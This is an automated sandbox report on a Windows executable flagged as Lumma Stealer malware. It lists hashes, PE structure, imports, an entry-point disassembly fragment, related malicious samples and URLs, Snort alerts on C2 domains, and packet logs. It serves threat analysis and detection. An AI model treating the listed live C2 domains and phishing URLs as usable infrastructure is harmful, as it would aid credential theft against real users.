Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467157
Start date and time:	2024-07-03 19:30:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@2/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 52% Number of executed functions: 34 Number of non-executed functions: 51
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, PID 6660 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Simulations

Behavior and APIs

Time	Type	Description
13:31:23	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	BL Draft.exe	Get hash	malicious	FormBook	Browse	www.ediancai.cn/x7r2/
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/btd2ptah/download
	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Get hash	malicious	FormBook	Browse	www.ad14.fun/oc7s/
	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	www.ad14.fun/oc7s/
	9098393827383039.exe	Get hash	malicious	FormBook	Browse	www.coinwab.com/kqqj/
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	www.ad14.fun/az6h/?Vn=Ydx4qJJ0n&3jJlx=2tWzkzncG4ra8DBegJJBToW7oB13AdJXZ1KkbDLW+Ah9MGsNEQDOdLre6u2t4zOJ63yLnsPJ97sPnqMxsSzbOxuABFq0Im2Ecm9EQ8GOdhogxDCvRrrALITlDFg7ZHNgcXHQPxMcHnGf
	Adjunto confirmacion de pedido.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.coinwab.com/kqqj/
	aAEsSBx24sxHhRz.exe	Get hash	malicious	FormBook	Browse	www.camperelektrikde.shop/dy13/?GdIHAFZ=8bNdgr3QvPw6/pDIZNt+55DvjzemDI0RO+pYD3qlulbIe6f7Sn3K06Z4F4Tg3hK83Y0/&BhU=5jl0ddZhNnYlOrV0
	http://sp.26skins.com/steamstore/category/adventure_rpg/?snr=1_5_9__12	Get hash	malicious	Unknown	Browse	sp.26skins.com/favicon.ico
	30Fqen2Bu3.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/TbaYPT0S/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
potterryisiw.shop	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	188.114.97.3
	mkFOY01Gl5.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	zyJWi2vy29.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer, Vidar, zgRAT	Browse	188.114.97.3
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://troy-acoustics.neetoform.com/25d7349ac44d8bc00661	Get hash	malicious	Phisher	Browse	162.247.243.29
	https://sharesync.serverdata.net/us/s/kQGbuGpOyjwFkYowji449I003d1010	Get hash	malicious	Unknown	Browse	188.114.96.3
	rnoahcrypter.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	104.26.4.15
	https://www-bbc-co-uk.cdn.ampproject.org/c/s/%41%4E%54oniopneus.com.br/dayo/uzmzp/captcha/amVubmlmZXIuYnJvY2t3YXlAZXhldGVyZmluYW5jZS5jb20=$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	104.21.45.251
	thegreatestexecutor.bat	Get hash	malicious	Unknown	Browse	104.16.123.96
	BL Draft.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	Your file name without extension goes here.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	https://eplogisticademexico-my.sharepoint.com/personal/natalyar_eplogistics_com1/_layouts/15/guestaccess.aspx?e=5%3aIF7Pg7&at=9&share=ElyrWNLgmPNHoLatr5CK5xABy6AUzd-VUKQ5lFH-DHWgkA	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Win64.Malware-gen.20485.10039.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	188.114.96.3
	BDQfYL99b2.exe	Get hash	malicious	Remcos	Browse	188.114.96.3
	7EulSGn18e.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	NSLC_Billing_Document_No_0240255100.html	Get hash	malicious	CVE-2024-21412	Browse	188.114.96.3
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	188.114.96.3
	Adjunto confirmacion de pedido.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.96.3
	ZAM#U00d3WIENIE Nr.240702117398203XLS.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.96.3
	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Get hash	malicious	Remcos, DBatLoader	Browse	188.114.96.3
	pago pendientes.xls	Get hash	malicious	Unknown	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.603041940173322
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
File size:	7'386'624 bytes
MD5:	f308be1162c86c3d72ad06c4c85a67d4
SHA1:	c09e56bde09f752265d8527dd930715ce8e149e2
SHA256:	842e6467d3f6bddb484929a8dba9757920e0b484d8addf40a8fe69f8b205f174
SHA512:	801d273afcf3994c0b02466e3d5343cbb5ec6665abaf5b9a6e4e376e39e0dec6b572d9b7760f53842e6a65c6314567c85fea9a41833a8c29ed3b0c5d57c1108a
SSDEEP:	49152:EfMhc7XOayJj55BNcU0KA///skFyE6OjBuXVBw5yyk0+fNH4YxVjM5EmOj1Ggdap:Osc7XL4JNgB01XVKkuFEmBhIGFH
TLSH:	7A768D17FDA145E9C4AE9132C5A6A1227A327C482B6227D73F50F7683F32BE05EB5740
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$.\'...p................@............................. w.......q...`... ............................

File Icon


Icon Hash:	0731c9cc8cc96307

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x4026b490, 0x1, 0x4026b460, 0x1, 0x4026eef0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	5929190c8765f5bc37b052ab5c6c53e7

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [006E79D5h]
mov dword ptr [eax], 00000001h
call 00007F116886E18Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [006E79B5h]
mov dword ptr [eax], 00000000h
call 00007F116886E16Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F1168AE322Ch
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F116886E4A9h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and ch, byte ptr [ecx+esi+4Ch]
je 00007F116886E50Ah
push eax
pop edi
dec ebp
xor ecx, dword ptr [esi+4Ch]
xor byte ptr [eax+74h], ch
push esi
imul eax, dword ptr [ecx+4Ah], 6Ah
das
pop edx
inc ecx
xor al, 58h
popad
xor dword ptr [ecx+edi*2+69h], ebp
je 00007F116886E51Eh
jnc 00007F116886E547h
dec eax
aaa
push eax
outsb
jp 00007F116886E53Eh
dec ebx
das
outsb
pop ecx
insd
inc edi
jne 00007F116886E537h
inc edi
insb
dec edx
arpl word ptr [ecx+50h], sp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x759000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x75a000	0x13d0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x75e000	0x41dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6ea000	0xe364	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x763000	0xe378	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x6e8800	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75a47c	0x440	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x275a20	0x275c00	57570d21985270df0b9fc874891656ce	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x277000	0xc6b50	0xc6c00	2c071c9882c736db99c75d35bdb325ce	False	0.1854203518081761	dBase III DBT, version number 0, next free block index 10, 1st item ""	5.627259301122143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x33e000	0x3ab630	0x3ab800	a3b8a58bd63dc0c41373eb9ae731b5cb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x6ea000	0xe364	0xe400	d1ae195922c1c92e5eeaeb8f8a8b034e	False	0.4123663651315789	data	5.539421391597901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x6f9000	0xc44	0xe00	c7f78595338319b1c0e31929e5f70e19	False	0.25613839285714285	data	3.977434312015775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x6fa000	0x5ee60	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x759000	0x4e	0x200	7fe561efa8a39bcf329e20d35a3ccb11	False	0.1328125	data	0.8223930931624241	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0x75a000	0x13d0	0x1400	7ed5138f35ad9ebb1f9b6d134fd6535e	False	0.3177734375	data	4.509867158735791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x75c000	0x70	0x200	1a9ed6ca791fbd0d8b3e4f661a478794	False	0.08203125	data	0.4629014270558708	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x75d000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x75e000	0x41dc	0x4200	b15ef107bcea25f514dc2d2f6ca28583	False	0.9009232954545454	data	7.748891860816981	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x763000	0xe378	0xe400	a204328c0f2c9a13f2be1c0702f02d8c	False	0.24960594846491227	data	5.432905065663353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x75e158	0x36a2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9912054912054912
RT_GROUP_ICON	0x7617fc	0x14	data			1.05
RT_VERSION	0x761810	0x36c	data	English	United States	0.408675799086758
RT_MANIFEST	0x761b7c	0x660	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39767156862745096

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Exports

Name	Ordinal	Address
_cgo_dummy_export	1	0x140758090

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/03/24-19:31:31.842065	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49743	443	192.168.2.4	188.114.96.3
07/03/24-19:31:21.307377	UDP	2053384	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (willingyhollowsk .shop)	58968	53	192.168.2.4	1.1.1.1
07/03/24-19:31:33.722455	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49744	443	192.168.2.4	188.114.96.3
07/03/24-19:31:27.386052	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49740	443	192.168.2.4	188.114.96.3
07/03/24-19:31:25.885422	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49739	443	192.168.2.4	188.114.96.3
07/03/24-19:31:29.390988	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49741	443	192.168.2.4	188.114.96.3
07/03/24-19:31:24.402178	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49737	443	192.168.2.4	188.114.96.3
07/03/24-19:31:22.348758	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49735	443	192.168.2.4	188.114.96.3
07/03/24-19:31:21.319048	UDP	2054182	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (potterryisiw .shop)	55667	53	192.168.2.4	1.1.1.1
07/03/24-19:31:21.346175	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49732	443	192.168.2.4	188.114.96.3
07/03/24-19:31:30.493459	TCP	2054183	ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI)	49742	443	192.168.2.4	188.114.96.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 19:31:21.341953039 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.341981888 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:21.342055082 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.346174955 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.346193075 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:21.872925997 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:21.872998953 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.875818968 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.875828028 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:21.876032114 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:21.922610998 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.924526930 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.924556971 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:21.924588919 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:22.299480915 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:22.299555063 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:22.300297976 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:22.338182926 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:22.338188887 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:22.344454050 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:22.344468117 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:22.348277092 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:22.348757982 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:22.348769903 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:23.536293983 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:23.536360025 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:23.537542105 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:23.537549019 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:23.537820101 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:23.547959089 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:23.547976017 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:23.548024893 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.204579115 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.204654932 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.204694033 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.204827070 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.204843044 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.204890966 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.205184937 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.205532074 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.205563068 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.205591917 CEST	49735	443	192.168.2.4	188.114.96.3
